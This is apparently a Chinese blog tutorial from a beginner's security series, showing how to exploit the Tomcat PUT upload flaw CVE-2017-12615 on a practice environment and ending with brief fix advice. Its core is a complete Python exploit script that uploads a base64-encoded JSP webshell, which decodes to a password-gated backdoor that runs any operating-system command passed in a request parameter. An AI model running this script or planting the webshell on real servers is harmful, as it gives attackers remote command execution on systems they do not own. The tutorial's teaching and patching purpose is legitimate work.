从0到1学习网络安全 【Tomcat put 上传(CVE-2017-12615)拿webshell】

Tomcat put 上传漏洞

注:今后继续定期更新---“实战”!


Step1:环境搭建
环境搭建这部分略过,今后所有的环境我都会放到公网,感兴趣的朋友可以直接玩。
从0到1学习网络安全 【Tomcat put 上传(CVE-2017-12615)拿webshell】_第1张图片
新环境

这里是三个漏洞 Tomcat 弱口令 、 Tomcat put 上传 、ElasticSearch 命令执行;


Step2:Tomcat put 上传漏洞
  • 首先,点击传送门进入漏洞地址 http://xxx.xxx.xxx.xxx/
从0到1学习网络安全 【Tomcat put 上传(CVE-2017-12615)拿webshell】_第2张图片
image.png
  • 漏洞形成原因

Tomcat 配置文件/tomcat/conf/web.xml中有这么一条注释:

从0到1学习网络安全 【Tomcat put 上传(CVE-2017-12615)拿webshell】_第3张图片
web.xml

Tomcat 默认不开启put 请求&Delete 请求,当在下面这个位置开启后此漏洞即可利用:
从0到1学习网络安全 【Tomcat put 上传(CVE-2017-12615)拿webshell】_第4张图片
允许put&delete请求

  • 漏洞利用
    刷新页面,burp抓包将GET请求改为PUT请求,并填写要写入的内容;
    如图所示:
    从0到1学习网络安全 【Tomcat put 上传(CVE-2017-12615)拿webshell】_第5张图片
    插入文件ibug.txt

状态201表示写入成功:


从0到1学习网络安全 【Tomcat put 上传(CVE-2017-12615)拿webshell】_第6张图片
image.png

编写exp脚本上传webshell(初学python,大佬勿喷):

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#author:iChina
#date:2019.3.3
#cHdkPWhhY2tlciZjbWQ9bHM=
#

import argparse
import requests
import base64

parser = argparse.ArgumentParser(description="tomcat_put.py -u target -p port -s webshell.jsp")
parser.add_argument('-u','--target',metavar="",help="The target site or ip")
parser.add_argument('-p','--port',metavar="",default="18080",help="Destination port")
parser.add_argument('-s','--Webshell',metavar="",default="jsp_config.jsp",help="The file name")
args = parser.parse_args()
url = args.target
port = args.port
webshell = args.Webshell

def payload(url,port,webshell):
    urls = url + ":" + port + "/" + webshell + "/"
    headers = {
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36",
        "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
        "Accept-Encoding":"gzip, deflate",
        "Accept-Language":"zh-CN,zh;q=0.9"
    }
    payload = '''PCVAIHBhZ2UgbGFuZ3VhZ2U9ImphdmEiIGNvbnRlbnRUeXBlPSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9R0JLIgogICAgcGFnZUVuY29kaW5nPSJVVEYtOCIlPgogICAgICAgIDwlCiAgICAgICAgaWYgKCJoYWNrZXIiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKSB7CiAgICAgICAgICAgIGphdmEuaW8uSW5wdXRTdHJlYW0gaW5wdXQgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSkuZ2V0SW5wdXRTdHJlYW0oKTsKICAgICAgICAgICAgaW50IGxlbiA9IC0xOwogICAgICAgICAgICBieXRlW10gYnl0ZXMgPSBuZXcgYnl0ZVs0MDkyXTsKICAgICAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOwogICAgICAgICAgICB3aGlsZSAoKGxlbiA9IGlucHV0LnJlYWQoYnl0ZXMpKSAhPSAtMSkgewogICAgICAgICAgICAgICAgb3V0LnByaW50bG4obmV3IFN0cmluZyhieXRlcywgIkdCSyIpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQucHJpbnQoIjwvcHJlPiIpOwogICAgICAgIH0KICAgICU+Cg=='''
    data = base64.b64decode(payload)
    response = requests.put(urls,data,headers=headers)
    code = response.status_code
    if code==201:
        shell = url + ":" + port + "/" + webshell
        print shell
    elif code==204:
        print 'File already exists'
    else:
        print 'unsuccessful'

def main():
    payload(url,port,webshell)

if __name__ == '__main__':
        main()

成功getshell:


从0到1学习网络安全 【Tomcat put 上传(CVE-2017-12615)拿webshell】_第7张图片
getshell
从0到1学习网络安全 【Tomcat put 上传(CVE-2017-12615)拿webshell】_第8张图片
image.png
Step3:修复建议

1.升级到Apache Tomcat更高版本
2.开启只读模式,修改配置文件/tomcat/conf/web.xml 如下图:

从0到1学习网络安全 【Tomcat put 上传(CVE-2017-12615)拿webshell】_第9张图片
image.png

END


由于小编也在学习中,写的不好各位勿喷。
从0到1学习网络安全 【目录】

实战环境地址群内公布!!!

白帽交流群 【简介】
感谢大家支持。

你可能感兴趣的:(从0到1学习网络安全 【Tomcat put 上传(CVE-2017-12615)拿webshell】)